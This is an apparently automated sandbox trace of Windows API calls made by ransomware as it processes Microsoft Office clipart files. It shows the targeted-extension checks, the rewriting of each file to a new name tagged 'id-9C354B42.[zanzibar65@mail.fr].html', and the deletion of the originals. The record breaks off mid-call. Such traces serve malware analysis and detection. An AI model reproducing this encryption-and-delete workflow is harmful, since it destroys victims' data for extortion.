lstrlenW (lpString=".xlsx") returned 5 [0271.699] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.700] lstrlenW (lpString=".ppt") returned 4 [0271.700] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0271.700] lstrlenW (lpString=".zip") returned 4 [0271.700] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.700] lstrlenW (lpString=".rar") returned 4 [0271.700] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.700] lstrlenW (lpString=".bz2") returned 4 [0271.700] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.700] lstrlenW (lpString=".7z") returned 3 [0271.700] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0271.700] lstrlenW (lpString=".dbf") returned 4 [0271.700] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0271.700] lstrlenW (lpString=".1cd") returned 4 [0271.700] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.700] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0271.700] lstrlenW (lpString=".jpg") returned 4 [0271.700] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0271.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0271.701] lstrlenW (lpString=".doc") returned 4 [0271.701] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.701] lstrlenW (lpString=".docx") returned 5 [0271.701] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.701] lstrlenW (lpString=".pdf") returned 4 [0271.701] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.701] lstrlenW (lpString=".xls") returned 4 [0271.701] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.701] lstrlenW (lpString=".xlsx") returned 5 [0271.701] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.701] lstrlenW (lpString=".ppt") returned 4 [0271.701] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0271.701] lstrlenW (lpString=".zip") returned 4 [0271.701] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.701] lstrlenW (lpString=".rar") returned 4 [0271.701] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.701] lstrlenW (lpString=".bz2") returned 4 [0271.701] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.701] lstrlenW (lpString=".7z") returned 3 [0271.701] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0271.701] lstrlenW (lpString=".dbf") returned 4 [0271.701] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0271.701] lstrlenW (lpString=".1cd") returned 4 [0271.701] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.701] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01761_.WMF") returned 63 [0271.701] lstrlenW (lpString=".jpg") returned 4 [0271.701] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.702] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0271.702] lstrlenW (lpString="ED00019_.WMF") returned 12 [0271.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0271.702] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x34bff1c | out: lpFileSize=0x34bff1c*=13042) returned 1 [0271.702] CloseHandle (hObject=0x354) returned 1 [0271.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf")) returned 0x20 [0271.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0271.702] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0271.702] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0271.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0271.703] GetLastError () returned 0x0 [0271.703] ReadFile (in: hFile=0x354, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x32f2, lpOverlapped=0x0) returned 1 [0271.704] WriteFile (in: hFile=0x304, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0x3300, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0x3300, lpOverlapped=0x0) returned 1 [0271.705] ReadFile (in: hFile=0x354, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x0, lpOverlapped=0x0) returned 1 [0271.705] WriteFile (in: hFile=0x304, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.705] SetEndOfFile (hFile=0x304) returned 1 [0271.705] CloseHandle (hObject=0x304) returned 1 [0271.705] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0271.705] SetEndOfFile (hFile=0x354) returned 1 [0271.748] CloseHandle (hObject=0x354) returned 1 [0271.748] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.748] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf")) returned 1 [0271.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0271.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0271.749] lstrlenW (lpString=".doc") returned 4 [0271.749] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.749] lstrlenW (lpString=".docx") returned 5 [0271.749] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.749] lstrlenW (lpString=".pdf") returned 4 [0271.749] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.749] lstrlenW (lpString=".xls") returned 4 [0271.749] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.749] lstrlenW (lpString=".xlsx") returned 5 [0271.749] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.749] lstrlenW (lpString=".ppt") returned 4 [0271.749] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0271.749] lstrlenW (lpString=".zip") returned 4 [0271.749] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.749] lstrlenW (lpString=".rar") returned 4 [0271.749] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.749] lstrlenW (lpString=".bz2") returned 4 [0271.749] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.749] lstrlenW (lpString=".7z") returned 3 [0271.749] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0271.749] lstrlenW (lpString=".dbf") returned 4 [0271.749] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0271.749] lstrlenW (lpString=".1cd") returned 4 [0271.749] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0271.749] lstrlenW (lpString=".jpg") returned 4 [0271.749] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0271.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0271.750] lstrlenW (lpString=".doc") returned 4 [0271.750] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.750] lstrlenW (lpString=".docx") returned 5 [0271.750] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.750] lstrlenW (lpString=".pdf") returned 4 [0271.750] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.750] lstrlenW (lpString=".xls") returned 4 [0271.750] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.750] lstrlenW (lpString=".xlsx") returned 5 [0271.750] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.750] lstrlenW (lpString=".ppt") returned 4 [0271.750] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0271.750] lstrlenW (lpString=".zip") returned 4 [0271.750] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.750] lstrlenW (lpString=".rar") returned 4 [0271.750] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.750] lstrlenW (lpString=".bz2") returned 4 [0271.751] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.751] lstrlenW (lpString=".7z") returned 3 [0271.751] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0271.751] lstrlenW (lpString=".dbf") returned 4 [0271.751] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0271.751] lstrlenW (lpString=".1cd") returned 4 [0271.751] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0271.751] lstrlenW (lpString=".jpg") returned 4 [0271.751] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.751] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0271.751] lstrlenW (lpString="EN00006_.WMF") returned 12 [0271.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0271.760] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x34bff1c | out: lpFileSize=0x34bff1c*=13936) returned 1 [0271.760] CloseHandle (hObject=0x388) returned 1 [0271.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf")) returned 0x20 [0271.871] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0271.887] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0271.887] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0271.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0271.888] GetLastError () returned 0x0 [0271.888] ReadFile (in: hFile=0x304, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x3670, lpOverlapped=0x0) returned 1 [0271.889] WriteFile (in: hFile=0x354, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0x3680, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0x3680, lpOverlapped=0x0) returned 1 [0271.891] ReadFile (in: hFile=0x304, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x0, lpOverlapped=0x0) returned 1 [0271.891] WriteFile (in: hFile=0x354, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.891] SetEndOfFile (hFile=0x354) returned 1 [0271.891] CloseHandle (hObject=0x354) returned 1 [0271.891] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0271.891] SetEndOfFile (hFile=0x304) returned 1 [0271.922] CloseHandle (hObject=0x304) returned 1 [0271.922] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.922] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00006_.wmf")) returned 1 [0271.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0271.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0271.922] lstrlenW (lpString=".doc") returned 4 [0271.922] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.922] lstrlenW (lpString=".docx") returned 5 [0271.922] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.922] lstrlenW (lpString=".pdf") returned 4 [0271.922] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.923] lstrlenW (lpString=".xls") returned 4 [0271.923] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.923] lstrlenW (lpString=".xlsx") returned 5 [0271.923] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.923] lstrlenW (lpString=".ppt") returned 4 [0271.923] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0271.923] lstrlenW (lpString=".zip") returned 4 [0271.923] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.923] lstrlenW (lpString=".rar") returned 4 [0271.923] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.923] lstrlenW (lpString=".bz2") returned 4 [0271.923] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.923] lstrlenW (lpString=".7z") returned 3 [0271.923] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0271.923] lstrlenW (lpString=".dbf") returned 4 [0271.923] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0271.923] lstrlenW (lpString=".1cd") returned 4 [0271.923] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0271.923] lstrlenW (lpString=".jpg") returned 4 [0271.923] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0271.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0271.923] lstrlenW (lpString=".doc") returned 4 [0271.923] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.923] lstrlenW (lpString=".docx") returned 5 [0271.923] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.923] lstrlenW (lpString=".pdf") returned 4 [0271.924] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.924] lstrlenW (lpString=".xls") returned 4 [0271.924] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.924] lstrlenW (lpString=".xlsx") returned 5 [0271.924] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.924] lstrlenW (lpString=".ppt") returned 4 [0271.924] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0271.924] lstrlenW (lpString=".zip") returned 4 [0271.924] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.924] lstrlenW (lpString=".rar") returned 4 [0271.924] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.924] lstrlenW (lpString=".bz2") returned 4 [0271.924] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.924] lstrlenW (lpString=".7z") returned 3 [0271.924] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0271.924] lstrlenW (lpString=".dbf") returned 4 [0271.924] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0271.924] lstrlenW (lpString=".1cd") returned 4 [0271.924] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 63 [0271.924] lstrlenW (lpString=".jpg") returned 4 [0271.924] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.925] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0271.925] lstrlenW (lpString="EN00202_.WMF") returned 12 [0271.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0271.925] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x34bff1c | out: lpFileSize=0x34bff1c*=6938) returned 1 [0271.926] CloseHandle (hObject=0x304) returned 1 [0271.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf")) returned 0x20 [0271.926] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0271.926] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0271.926] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0271.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0271.926] GetLastError () returned 0x0 [0271.926] ReadFile (in: hFile=0x304, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x1b1a, lpOverlapped=0x0) returned 1 [0271.928] WriteFile (in: hFile=0x380, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0x1b20, lpOverlapped=0x0) returned 1 [0271.929] ReadFile (in: hFile=0x304, lpBuffer=0x4070020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34bfed4, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesRead=0x34bfed4*=0x0, lpOverlapped=0x0) returned 1 [0271.929] WriteFile (in: hFile=0x380, lpBuffer=0x4070020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x4070020*, lpNumberOfBytesWritten=0x34bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.929] SetEndOfFile (hFile=0x380) returned 1 [0271.929] CloseHandle (hObject=0x380) returned 1 [0271.929] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34bfec8 | out: lpNewFilePointer=0x0) returned 1 [0271.929] SetEndOfFile (hFile=0x304) returned 1 [0271.932] CloseHandle (hObject=0x304) returned 1 [0271.932] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.932] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\en00202_.wmf")) returned 1 [0271.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0271.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0271.932] lstrlenW (lpString=".doc") returned 4 [0271.932] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.932] lstrlenW (lpString=".docx") returned 5 [0271.932] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.932] lstrlenW (lpString=".pdf") returned 4 [0271.932] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.933] lstrlenW (lpString=".xls") returned 4 [0271.933] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.933] lstrlenW (lpString=".xlsx") returned 5 [0271.933] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.933] lstrlenW (lpString=".ppt") returned 4 [0271.933] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EN00202_.WMF") returned 63 [0271.933] lstrlenW (lpString=".zip") returned 4 [0271.933] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.933] lstrlenW (lpString=".rar") returned 4 [0271.933] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.933] lstrlenW (lpString=".bz2") returned 4 [0271.933] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.124] lstrlenW (lpString=".7z") returned 3 [0272.124] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.124] lstrlenW (lpString="C:\\Program Files\\Microsoft 